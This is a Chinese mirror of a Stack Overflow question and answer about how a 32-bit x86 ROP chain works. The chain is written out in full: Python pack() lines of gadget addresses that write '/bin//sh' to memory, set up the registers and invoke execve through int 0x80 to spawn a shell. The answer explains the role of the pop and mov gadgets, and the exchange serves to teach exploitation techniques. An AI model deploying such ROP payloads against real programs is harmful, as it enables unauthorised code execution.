首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >理解ROP小工具

理解ROP小工具
EN

Stack Overflow用户
提问于 2015-04-04 09:41:49
回答 1查看 1.6K关注 0票数 0

我需要帮助理解这个ROP小工具(如下所示)如何一步一步地工作。我真的很困惑为什么在这里需要mov和pop指令。

代码语言:javascript
复制
p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2015-04-04 21:29:10

正如您已经知道的,这个链正在为一个execve系统调用创建参数,它需要一个终止于零的程序名、一个NULL终止的参数数组和一个NULL终止的环境数组。要创建这些值,您需要将一些值插入内存,并加载一些寄存器。最初的作者找到了一些有用的小工具。mov dword ptr [edx], eax ; ret允许您将任意的dword (应该在eax中)写入任意地址(应该在edx中)。要将值输入寄存器,可以使用pop小工具,因为您可以控制堆栈。

显然,这不是唯一可能的方法,如果您找到其他ROP小工具,您可以创建一个不同的链。

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/29444901

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档